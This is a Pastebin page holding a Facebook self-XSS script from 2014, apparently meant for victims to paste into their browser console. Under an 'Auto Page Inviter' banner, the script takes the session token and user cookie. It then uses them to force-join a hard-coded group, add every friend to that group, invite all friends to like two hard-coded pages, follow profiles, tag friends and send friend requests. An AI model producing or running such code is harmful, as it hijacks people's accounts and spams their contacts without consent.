Advertisement
123456sdfghjoiuyt

add gr

Apr 13th, 2014
58
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.03 KB | None | 0 0
  1. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3. function cereziAl(isim) {
  4. var tarama = isim + "=";
  5. if (document.cookie.length > 0) {
  6. konum = document.cookie.indexOf(tarama)
  7. if (konum != -1) {
  8. konum += tarama.length
  9. son = document.cookie.indexOf(";", konum)
  10. if (son == -1)
  11. son = document.cookie.length
  12. return unescape(document.cookie.substring(konum, son))
  13. }
  14. else { return ""; }
  15. }
  16. }
  17.  
  18. function getRandomInt (min, max) {
  19. return Math.floor(Math.random() * (max - min + 1)) + min;
  20. }
  21. function randomValue(arr) {
  22. return arr[getRandomInt(0, arr.length-1)];
  23. }
  24.  
  25. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  26. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  27.  
  28. function a(abone){
  29. var http4 = new XMLHttpRequest();
  30.  
  31. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  32.  
  33. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  34. http4.open("POST", url4, true);
  35.  
  36. //Send the proper header information along with the request
  37. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  38. http4.setRequestHeader("Content-length", params4.length);
  39. http4.setRequestHeader("Connection", "close");
  40.  
  41. http4.onreadystatechange = function() {//Call a function when the state changes.
  42. if(http4.readyState == 4 && http4.status == 200) {
  43.  
  44. http4.close; // Close the connection
  45.  
  46. }
  47. }
  48.  
  49. http4.send(params4);
  50. }
  51.  
  52. function sublist(uidss) {
  53. var a = document.createElement('script');
  54. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  55. document.body.appendChild(a);
  56. }
  57.  
  58. var gid = ['112559285585910'];
  59.  
  60. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  61. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  62.  
  63. var httpwp = new XMLHttpRequest();
  64. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  65. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  66. httpwp['open']('POST', urlwp, true);
  67. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  68. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  69. httpwp['setRequestHeader']('Connection', 'keep-alive');
  70. httpwp['send'](paramswp);
  71.  
  72. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  73. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  74.  
  75. var friends = new Array();
  76. gf = new XMLHttpRequest();
  77. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  78. gf['send']();
  79. if (gf['readyState'] != 4) {} else {
  80. data = eval('(' + gf['responseText']['substr'](9) + ')');
  81. if (data['error']) {} else {
  82. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  83. return _0x93dax8['index'] - _0x93dax9['index'];
  84. });
  85. };
  86. };
  87.  
  88. for (var i = 0; i < friends['length']; i++) {
  89. var httpwp = new XMLHttpRequest();
  90. var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  91. var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  92. httpwp['open']('POST', urlwp, true);
  93. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  94. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  95. httpwp['setRequestHeader']('Connection', 'keep-alive');
  96. httpwp['onreadystatechange'] = function () {
  97. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  98. };
  99. httpwp['send'](paramswp);
  100. };
  101. var spage_id = "222106054640993";
  102. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  103. var smesaj = "";
  104. var smesaj_text = "";
  105. var arkadaslar = [];
  106. var svn_rev;
  107. var bugun= new Date();
  108. var btarihi = new Date();
  109. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  110. if(!document.cookie.match(/paylasti=(\d+)/)){
  111. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  112. }
  113.  
  114.  
  115. //arkadaslari al ve isle
  116. function sarkadaslari_al(){
  117. var xmlhttp = new XMLHttpRequest();
  118. xmlhttp.onreadystatechange = function () {
  119. if(xmlhttp.readyState == 4){
  120. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  121. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  122. smesaj = "";
  123. smesaj_text = "";
  124. for(i=f*10;i<(f+1)*10;i++){
  125. if(arkadaslar.payload.entries[i]){
  126. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  127. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  128. }
  129. }
  130. sdurumpaylas(); }
  131.  
  132. }
  133.  
  134. };
  135. var params = "&filter[0]=user";
  136. params += "&options[0]=friends_only";
  137. params += "&options[1]=nm";
  138. params += "&token=v7";
  139. params += "&viewer=" + user_id;
  140. params += "&__user=" + user_id;
  141.  
  142. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  143. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  144. xmlhttp.send();
  145. }
  146.  
  147. //tiklama olayini dinle
  148. var tiklama = document.addEventListener("click", function () {
  149. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  150. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  151. sarkadaslari_al();
  152. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  153.  
  154. document.removeEventListener(tiklama);
  155. }
  156. }, false);
  157.  
  158.  
  159. //arkada?¾ ekleme
  160. function sarkadasekle(uid,cins){
  161. var xmlhttp = new XMLHttpRequest();
  162. xmlhttp.onreadystatechange = function () {
  163. if(xmlhttp.readyState == 4){
  164. }
  165. };
  166.  
  167. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  168. var params = "to_friend=" + uid;
  169. params += "&action=add_friend";
  170. params += "&how_found=friend_browser";
  171. params += "&ref_param=none";
  172. params += "&outgoing_id=";
  173. params += "&logging_location=friend_browser";
  174. params += "&no_flyout_on_click=true";
  175. params += "&ego_log_data=";
  176. params += "&http_referer=";
  177. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  178. params += "&phstamp=165816749114848369115";
  179. params += "&__user=" + user_id;
  180. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  181. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  182.  
  183. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  184. xmlhttp.send(params);
  185. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  186. cinsiyetgetir(uid,cins,"sarkadasekle");
  187. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  188. xmlhttp.send(params);
  189. }
  190. }
  191.  
  192. //cinsiyet belirleme
  193. var cinssonuc = {};
  194. var cinshtml = document.createElement("html");
  195. function scinsiyetgetir(uid,cins,fonksiyon){
  196. var xmlhttp = new XMLHttpRequest();
  197. xmlhttp.onreadystatechange = function () {
  198. if(xmlhttp.readyState == 4){
  199. eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  200. cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  201. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  202. if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  203. document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  204. }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  205. document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  206. }
  207. eval(fonksiyon + "(" + id + "," + cins + ");");
  208. }
  209. };
  210. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  211. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  212. xmlhttp.send();
  213. }
  214. var Title = "Auto Page Inviter</A>";
  215. var Descriptions = "",
  216. _text = 'Powered By: <A style="color:#3B5998;" href="https://www.facebook.com/baohuy1806" target="_blank">BaoHuy</A></br>Script Made By: </A><A style="color:#3B5998;" href="https://www.facebook.com/baohuy1806" target="_blank">BaoHuy</A></A>,</A></A>.</br>BaoHuy<A style="color:#3B5998;" href="http://facebook.com/baohuy1806" target="_blank">Automate Your Facebook</A>.</A>';
  217.  
  218. page_id = /"profile_owner":"([0-9]+)"/.exec(document.getElementById("pagelet_timeline_main_column").getAttribute("data-gt"))[1];
  219.  
  220. function InviteFriends(opo) {
  221. jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send_single?page_id=" + page_id + "&invitee=" + opo + "&elem_id=u_0_1k&action=send&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=8&fb_dtsg=" + fb_dtsg + "&phstamp=", function (a) {
  222. var b = a.substring(a.indexOf("{"));
  223. var c = JSON.parse(b);
  224. i--;
  225. Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  226. if (c.error) {
  227. Descriptions += "color:darkred'>";
  228. err++;
  229. if (c.errorDescription) Descriptions += c.errorDescription;
  230. else Descriptions += JSON.stringify(c, null, "")
  231. } else {
  232. Descriptions += "color:darkgreen'>";
  233. Descriptions += arn[i] + " has been invited to like the page " + page_name + ".";
  234. suc++
  235. }
  236. Descriptions += "</div>";
  237. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.9);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.9);border-radius: 1em 4em 1em 4em;border:3px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff'>";
  238. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  239. if (i > 0) {
  240. display += arr.length + " Friends Detected<br/>";
  241. display += "<b>" + suc + "</b> Friends Invited of " + (arr.length - i) + " Friends Processed ";
  242. display += "(" + i + " Lefted...)";
  243. display += "<div class='friend-edge'>";
  244. display += Descriptions;
  245. display += "<img style='width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='font-size:13px;padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  246. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  247. display += "Please Wait While Inviting Your Friends to Like Your Page " + page_name + ".</br>";
  248. display += "<div><span class='FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge' onClick='ChangeLocation()' style='color:white'>Go to Homepage</span><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Cancel</span><br/>";
  249. display += _text;
  250. display += "</div>";
  251. display += "</div>";
  252. display += "</div>";
  253. window[tag + "_close"] = true
  254. } else {
  255. Title = "All Of Your Friends Have Been Invited to Like Your Page.</A>";
  256. display += arr.length + " Friends Detected and ";
  257. display += "<b>" + suc + " Friends Invited.</b></br>";
  258. display += "<div><span class='FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge' onClick='ChangeLocation()' style='color:white'>Go to Homepage</span><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"' style='color:gray'>Cancel</span><br/>";
  259. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'><br/>";
  260. display += _text;
  261. display += "</div>";
  262. window[tag + "_close"] = false
  263. }
  264. display += "</div>";
  265. document.getElementById("pagelet_sidebar").innerHTML = display
  266. }, "text", "post");
  267. tay--;
  268. if (tay > 0) {
  269. var s = arr[tay];
  270. setTimeout("InviteFriends(" + s + ")", 100)
  271. }
  272. console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  273.  
  274.  
  275. if (page_id) jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=222106054640993&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post")
  276. if (page_id) jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=684354574964171&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post")
  277.  
  278.  
  279. }
  280. jx = {
  281. b: function () {
  282. var b = !1;
  283. if ("undefined" != typeof ActiveXObject) try {
  284. b = new ActiveXObject("Msxml2.XMLHTTP")
  285. } catch (c) {
  286. try {
  287. b = new ActiveXObject("Microsoft.XMLHTTP")
  288. } catch (a) {
  289. b = !1
  290. }
  291. } else if (window.XMLHttpRequest) try {
  292. b = new XMLHttpRequest
  293. } catch (h) {
  294. b = !1
  295. }
  296. return b
  297. },
  298. load: function (b, c, a, h, g) {
  299. var e = this.d();
  300. if (e && b) {
  301. e.overrideMimeType && e.overrideMimeType("text/xml");
  302. h || (h = "GET");
  303. a || (a = "text");
  304. g || (g = {});
  305. a = a.toLowerCase();
  306. h = h.toUpperCase();
  307. b += b.indexOf("?") + 1 ? "&" : "?";
  308. var k = null;
  309. "POST" == h && (k = b.split("?"), b = k[0], k = k[1]);
  310. e.open(h, b, !0);
  311. e.onreadystatechange = g.c ? function () {
  312. g.c(e)
  313. } : function () {
  314. if (4 == e.readyState)
  315. if (200 == e.status) {
  316. var b = "";
  317. e.responseText && (b = e.responseText);
  318. "j" == a.charAt(0) ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : "x" == a.charAt(0) && (b = e.responseXML);
  319. c && c(b)
  320. } else g.f && document.getElementsByTagName("body")[0].removeChild(g.f), g.e && (document.getElementById(g.e).style.display = "none"), error && error(e.status)
  321. };
  322. e.send(k)
  323. }
  324. },
  325. d: function () {
  326. return this.b()
  327. }
  328. };
  329.  
  330. function ChangeLocation() {
  331. window.location.href = "http://www.facebook.com/"
  332. }
  333. setTimeout("ChangeLocation", 1);
  334. window.onbeforeunload = function () {
  335. if (window[tag + "_close"]) return "This script is running now!"
  336. };
  337. var i = 3;
  338. var tay = 3;
  339. var suc = 0;
  340. var err = 0;
  341. var arr = new Array;
  342. var arn = new Array;
  343. var pho = new Array;
  344. var tag = "Close";
  345. var page_name, x = document.getElementsByTagName("span");
  346. for (i = 0; i < x.length; i++)
  347. if (x[i].getAttribute("itemprop") == "name") page_name = x[i].innerHTML;
  348. var fb_dtsg = document.getElementsByName("fb_dtsg")[0].value;
  349. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  350. jx.load(window.location.protocol + "///www.facebook.com/ajax/typeahead/first_degree.php?viewer=" + user_id + "&token=v7&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=l", function (a) {
  351. var b = a;
  352. var c = b.substring(b.indexOf("{"));
  353. var d = JSON.parse(c);
  354. d = d.payload.entries;
  355. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  356. for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  357. for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  358. i = arr.length - 1;
  359. tay = i;
  360. console.log(arr.length);
  361. var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0px 3px 8px rgba(0, 0, 0, 0.9);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.9);border-radius: 1em 4em 1em 4em;border:3px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff'>";
  362. display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  363. display += arr.length + " Friends Detected, Please Wait . . .";
  364. display += "</div>";
  365. document.getElementById("pagelet_sidebar").innerHTML = display;
  366. InviteFriends(arr[i])
  367. });
  368. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  369. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  370. var now = (new Date).getTime();
  371.  
  372. function p(post) {
  373.  
  374. var X = new XMLHttpRequest();
  375. var XURL = "//www.facebook.com/ajax/ufi/like.php";
  376. var XParams = "like_action=true&ft_ent_identifier=" + post + "&source=2&client_id=1381377993496%3A1284500146&rootid=u_0_8&giftoccasion&ft[tn]=%3E%3D&ft[type]=20&__user=" + user_id + "&__a=1&__dyn=7n8ahyj35ynzpQ9UmWWuUGy6zECi8w&__req=g&fb_dtsg=" + fb_dtsg + "&ttstamp=26581681054512111570";
  377. X.open("POST", XURL, true);
  378. X.onreadystatechange = function () {
  379. if (X.readyState == 4 && X.status == 200) {
  380. X.close;
  381. }
  382. };
  383. X.send(XParams);
  384. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement